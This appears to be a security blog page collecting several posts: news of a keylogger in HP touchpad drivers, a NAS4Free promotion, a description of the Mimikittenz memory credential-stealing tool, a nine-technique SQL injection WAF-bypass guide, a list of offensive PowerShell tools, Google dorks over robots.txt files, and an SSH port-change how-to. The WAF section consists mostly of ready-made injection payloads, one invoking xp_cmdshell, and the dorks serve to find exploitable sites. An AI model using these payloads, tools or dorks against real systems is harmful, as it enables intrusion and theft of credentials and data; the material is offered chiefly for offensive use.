Keylogger Found On Over 460 HP Laptop Models

HP has an awful history of ‘accidentally’ leaving keyloggers onto its customers’ laptops. At least two times this year, HP laptops were caught with pre-installed keylogger or spyware applications.
A tweet made by a security researcher claiming to have found a built-in keylogger in several HP laptops, and now he went public with his findings.

A security researcher who goes by the name of ZwClose discovered a keylogger in several Hewlett-Packard (HP) laptops that could allow hackers to record your every keystroke and steal sensitive data, including passwords, account information, and credit card details.

The Keylogger was found embedded in the SynTP.sys file, a part of Synaptics touchpad driver that ships with HP notebook computers, leaving more than 460 HP Notebook models vulnerable to hackers.

Although the keylogger component is disabled by default, hackers can make use of available open source tools for bypassing User Account Control (UAC) to enable built-in keylogger “by setting a registry value.”

Here’s the location of the registry key:

• HKLM\Software\Synaptics\%ProductName%
• HKLM\Software\Synaptics\%ProductName%\Default

The researcher reported the keylogger component to HP last month, and the company acknowledges the presence of keylogger, saying it was actually “a debug trace” which was left accidentally, but has now been removed.

“A potential security vulnerability has been identified with certain versions of Synaptics touchpad drivers that impact all Synaptics OEM partners,” HP says in its advisory, calling the keylogger as a potential, local loss of confidentiality.

“A party would need administrative privileges in order to take advantage of the vulnerability. Neither Synaptics nor HP has access to customer data as a result of this issue.”

The company has released a Driver update for all the affected HP Notebook Models. If you own an HP laptop, you can look for updates for your model. The list of affected HP notebooks can be found at the HP Support website.

This is not the first time a keylogger has been detected in HP laptops. In May 2017, a built-in keylogger was found in an HP audio driver that was silently recording all of its users’ keystrokes and storing them in a human-readable file.

Advertisements

NAS4Free – Open Source Network Storage System

The NAS4Free operating system can be installed on virtually any hardware platform to share computer data storage over a computer network. ‘NAS’ as in “Network-Attached Storage” and ‘4Free’ as in ‘Free and open source’, NAS4Free is the simplest and fastest way to create a centralized and easily-accessible server for all kind of data!

NAS4Free supports sharing across Windows, Apple, and UNIX-like systems. It includes ZFS, Software RAID (0,1,5), disk encryption, S.M.A.R.T / email reports etc. with following protocols/services: CIFS/SMB (samba), Samba AD, FTP, NFS v4, TFTP, AFP, RSYNC, Unison, iSCSI, UPnP, Bittorent, Syncthing, VirtualBox and noVNC, Bridge, CARP (Common Address Redundancy Protocol) and HAST (Highly Available Storage).

This all can easy be managed by a configurable web interface.

Features
Backup
NAS
File Server

Website: https://www.nas4free.org

• GENERAL INFORMATION
• KEY FEATURES
• SCREENSHOTS
• DOCUMENTATION
• DOWNLOADS
• SUPPORT

 

Mimikittenz: Extracting Info From Memory

So why do we restrict Powershell to users in an organisation, well the answer is Mimikittenz.

Mimikittenz is a post-exploitation powershell tool that utilizes the Windows function ReadProcessMemory() in order to extract plain-text passwords from various target processes.
mimikittenz can also easily extract other kinds of juicy info from target processes using regex patterns including but not limited to:

• TRACK2 (CreditCard) data from merchant/POS processes
• PII data
• Encryption Keys & All the other goodstuff

NOTE: This tool is targeting running process memory address space, once a process is killed it’s memory ‘should’ be cleaned up and inaccessible however there are some edge cases in which this does not happen.

The aim of mimikittenz is to provide user-level (non-admin privileged) sensitive data extraction in order to maximise post exploitation efforts and increase value of information gathered per target.
Currently mimikittenz is able to extract the following credentials from memory:

NOTE: This tool is targeting running process memory address space, once a process is killed it’s memory ‘should’ be cleaned up and inaccessible however there are some edge cases in which this does not happen.

The aim of mimikittenz is to provide user-level (non-admin privileged) sensitive data extraction in order to maximise post exploitation efforts and increase value of information gathered per target.

Currently mimikittenz is able to extract the following credentials from memory:

#####Webmail#####

Gmail
Office365
Outlook Web
#####Accounting#####

Xero
MYOB
#####Remote Access#####

Juniper SSL-VPN
Citrix NetScaler
Remote Desktop Web Access 2012
#####Developement#####

Jira
Github
Bugzilla
Zendesk
Cpanel
#####IHateReverseEngineers#####

Malwr
VirusTotal
AnubisLabs
#####Misc#####

Dropbox
Microsoft Onedrive
AWS Web Services
Slack
Twitter
Facebook

Download
git clone https://github.com/putterpanda/mimikittenz.git
https://github.com/putterpanda/mimikittenz.git

Also read: Unofficial Guide to Mimikatz & Command Reference

9 ways to bypass Web Application Firewall with SQL injection

 A web application firewall (or WAF) filters, monitors, and blocks HTTP traffic to and from a web application. A WAF is differentiated from a regular firewall in that a WAF is able to filter the content of specific web applications while regular firewalls serve as a safety gate between servers. By inspecting HTTP traffic, it can prevent attacks stemming from web application security flaws, such as SQL injection, cross-site scripting (XSS), file inclusion, and security mis-configurations.

How WAF work?

• Exception Detection Protocol: Denies requests that do not meet HTTP standards
• Enhanced input validation: Proxy and server-side validation, not just client-side validation
• WhiteList & Blacklist
• Rule-based and exception-based protection: more black-based mechanisms based on rules, more flexible based on exceptions
• State management: focus on session protectionThere are also: Cookies protection, anti-intrusion avoidance technology, response monitoring and information disclosure protection.

How to bypass WAF

1. Mixed CaseChange case of malicious input triggering WAF protections. union may become uNIoN, If the WAF is using a case sensitive blacklist, changing case may bypass that filter.

   http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

2. Replace the keyword(Insert special characters that will be removed by WAF) – SELECT may become SEL<ECT which would be passed on as SELECT once the offending character is removed.

   http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
3. Encode
   + URL encode

   page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

    

   +Hex encode

   target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
    
   　　　SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

   +Unicode encode

   ?id=10%D6‘%20AND%201=2%23　　
    
   　　　SELECT 'Ä'='A'; #1
4. Use comments
   Insert comments in middle of attack strings. For instance, /*!SELECT*/ might be overlooked by the WAF but passed on to the target application and processed by a mysql database.

   index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4　　　
    
   　　　'union%a0select pass from users#
   
   index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
    
   　　　?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

    

5.  Equivalent functions and commands
   Some functions or commands can not be used because this keywords are detected, but in many cases we can be used with equivalent or similar code of them.

   hex()、bin() ==> ascii()
    
   sleep() ==>benchmark()
    
   concat_ws()==>group_concat()
    substr((select 'password'),1,1) = 0x70
    
   　　　strcmp(left('password',1), 0x69) = 1
    
   　　   strcmp(left('password',1), 0x70) = 0
    
   　　　strcmp(left('password',1), 0x71) = -1
   mid()、substr() ==> substring()
    
   @@user ==> user()
    
   @@datadir ==> datadir()

    

    

6. Special symbolsHere I have non-alphanumeric characters in the special symbols of a class, special symbols have a special meaning and usage.
   + ` symbol: select `version()`;
   + +- :select+id-1+1.from users;
   + @:select@^1.from users;
   +Mysql function() as xxx
   +`、~、!、@、%、()、[]、.、-、+ 、|、%00
   Example:

   ‘se’+’lec’+’t’
    
   　　　　　　%S%E%L%E%C%T 1
    
   　　　　　　1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
   
   ' or --+2=- -!!!'2
    
    　　　 id=1+(UnI)(oN)+(SeL)(EcT)
7. HTTP parameter controlSupply multiple parameter= value sets of the same name to confuse the WAF. Given the example http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘ in some circumstances such as with Apache/PHP, the application will only parse the last (second) instance of id= while the WAF only parses the first. It appears to be a legitimate request but the application still receives and process malicious input. Most WAF’s today are not vulnerable to HTTP Parameter Pollution (HPP) but it is still worth a try when building bypasses.
   + HPP (HTTP Parameter Polution)

   /?id=1;select+1,2,3+from+users+where+id=1—
    
   　　　/?id=1;select+1&id=2,3+from+users+where+id=1—
    
   　　　/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

    

   HPP is also known as repeated parameter contamination, the simplest is: uid = 1 & uid = 2 & uid = 3, for this case, different Web server processing as follows:
   
   +HPF (HTTP Parameter Fragment)

   This method is HTTP segmentation injection, similar to CRLF (using control characters% 0a,% 0d, etc. to perform line breaks)

   /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
    
   　　select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

   +HPC (HTTP Parameter Contamination)
   RFC2396 defines the following characters:

   Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
   Reserved : ; / ? : @ & = + $ ,
   Unwise : { } | \ ^ [ ] `

   Different Web server processing processes have different logic when constructing special requests:
   
   In the case of the magic character %, Asp / Asp.net will be affected
   

8. Buffer overflowWAF’s are, afterall, applications and vulnerable to the same software flaws as any other application. If a buffer overflow condition can create a crash, even if it does not result in code execution, this may result in a WAF failing open. In other words, a bypass.

   ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
9.  IntegrationIntegration means the use of a variety of bypass technology, a single technology may not be able to bypass the filtering mechanism, but the use of a variety of technologies with the possibility of success will increase a lot.

   target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
    
   id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
    
   ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION

Powershell Tools For Pentester

• PowerMemory: https://github.com/giMini/PowerMemory
  Exploit the credentials present in files and memory
• ReflectiveDLLInjection: https://github.com/stephenfewer/ReflectiveDLLInjection
  Reflective DLL injection is a library injection technique that is primarily used to perform the loading of a library from memory to host processes. The library should therefore be able to load itself by implementing a minimal PE file loader, managed with minimal interaction between the host system and processes.
• ThrowbackLP: https://github.com/silentbreaksec/ThrowbackLP
  Monitor station reverse injection
• Throwback: https://github.com/silentbreaksec/Throwback
  HTTP/S Beaconing Implant
• CrackMapExec: https://github.com/byt3bl33d3r/CrackMapExec
  A swiss army knife for pentesting Windows/Active Directory environments
• nishang: https://github.com/samratashok/nishang
  Nishang is a PowerShell-based penetration testing tool. Integration of frameworks, scripts and various payloads. These scripts are written by Nishang’s author in the real penetration testing process, with actual combat value. Including the download and execution, keyboard records, dns, delay commands and other scripts.
• UnmanagedPowerShell: https://github.com/leechristensen/UnmanagedPowerShell
  Executes PowerShell from an unmanaged process. With a few modifications, these same techniques can be used when injecting into different processes (i.e. you can cause any process to execute PowerShell if you want).
• Empire: https://github.com/powershellempire/empire
  Empire is a PowerShell and Python post-exploitation agent. http://www.powershellempire.com/
• Unicorn: https://github.com/trustedsec/unicorn
  Unicorn is a simple tool for PowerShell downgrade attacks and direct injection of shellcode into memory.
• PowerShell: https://github.com/clymb3r/PowerShell
  The tools in this directory are part of PowerSploit and are being maintained there. They are preserved here for legacy, but any bug fixes should be checked in to PowerSploit.
• PSRecon: https://github.com/gfoss/PSRecon
  PSRecon gathers data from a remote Windows host using PowerShell (v2 or later), organizes the data into folders, hashes all extracted data, hashes PowerShell and various system properties, and sends the data off to the security team. The data can be pushed to a share, sent over email, or retained locally.
• PowerShell: https://github.com/MikeFal/PowerShell
  Powershell scripts for SQL Server database administration
• PowerTools Tools: https//github.com/PowerShellEmpire/PowerTools
  
  PowerTools is a collection of PowerShell projects with a focus on offensive operations.
• PowerShellArsenal: https://github.com/mattifestation/PowerShellArsenal
  PowerShell module for reverse engineering, can be disassembled hosting and unmanaged code, for. NET malware analysis, analysis of memory, parsing file formats and memory structure, access to internal system information.
• PowerShell API Manual: http://www.pinvoke.net/
  PInvoke.net is primarily a wiki that allows developers to find, edit, and add PInvoke’s * signatures, user-defined types, and any other information associated with calling managed code for Win32 and other unmanaged APIs.
• The AD-Recon-PowerShell: https://github.com/PyroTek3/PowerShell-AD-Recon
  A useful PowerShell script
• The PowerCat: https://github.com/secabstraction/PowerCat
  PowerShell TCP / IP Swiss Army Knife for Netcat & Ncat.
• Honeyport: https://github.com/Pwdrkeg/honeyport
  A PowerShell script for creating Windows honeyport
• PowerShellMafia: https://github.com/PowerShellMafia/PowerSploit
  PowerSploit is the set of PowerShell modules in Microsoft that can help Infiltrators evaluate at all stages.
• Secmod-Posh: https://github.com/darkoperator/Posh-SecMod
  PowerShell Module with Security cmdlets for security work
• Harness: https://github.com/Rich5/Harness
  Interactive remote PowerShell Payload

Your Robots.txt File Helps Hackers

As you know, the majority of the webmasters upload a file called robots.txt to their servers in order to give instructions to the crawlers like Google, Yahoo, Bing… about what pages mustn’t be indexed.
Example:

• https://www.linkedin.com/robots.txt
• http://www.bbc.co.uk/robots.txt
• https://www.google.co.uk/robots.txt

Why does the webmaster want to hide some URLs? One of the first things the hackers can do is check these files. Hackers can get a lot of valuable information trying to locate the data, scripts… that the webmaster wants to keep hiding…

Sometimes Google indexes the robots.txt,  giving hackers the oportunity to locate words in this file through Google searches.

For example, if a hacker wants to locate users installations, he could use the robots.txt files indexed in Google to locate them and then try to exploit them.

inurl:.kh/robots.txt- + “Disallow: /user/ “

The hackers could locate WordPress installations by using…

inurl:”.com/robots.txt” + “Disallow: /wp-admin/

The hackers could locate Joomla installations by using…

inurl:”/robots.txt” + “Disallow: joomla”

The hackers could locate Plesk Statisticsin stallations by using…

inurl:”/robots.txt” + “Disallow:  plesk-stat”

The hackers could locate Drupal installations by using…inurl:”.com/robots.txt” + “Disallow: ?q=admin”
The hackers could locate Tinymce installations in order to try to get information about the plugins installed on these servers and then try to exploit them…
inurl:”.com/robots.txt” + “Disallow: tinymce”
Is someone trying to hide their password?.
inurl:”/robots.txt” + “Disallow: passwords.txt”>You should be careful when you are writing your robots.txt because if someone checks it or someone with imagination searches on Google with this types of queries,  you could be a hacker’s target…

How to modify SSH remote login port in Linux

SSH: short for Secure Shell, SSH (developed by SSH Communications Security Ltd.) is a secure protocol for remote logins. Using an SSH client, a user can connect to a server to transfer information in a more secure manner than other methods, such as telnet. Below is an example of how an SSH session, which uses a command line interface, may look. SSH defaults to port 22.

Modify the SSH remote login port to 9999

# vi /etc/ssh/sshd_config
Port 9999
# service sshd restart

Add a port to the firewall

The default iptables only open port 22 for ssh service, the use of additional ports such as 9999 need to add this port to a white list in iptables. If you don’t add this port, you will not connect to the SSH server.

# iptables -I INPUT -p tcp –dport 9999 -j ACCEPT
# iptables -A INPUT -p tcp –dport 9999 -j ACCEPT
#service iptables save

You need to save the command to the iptables configuration file

iptables-save >/etc/sysconfig/iptables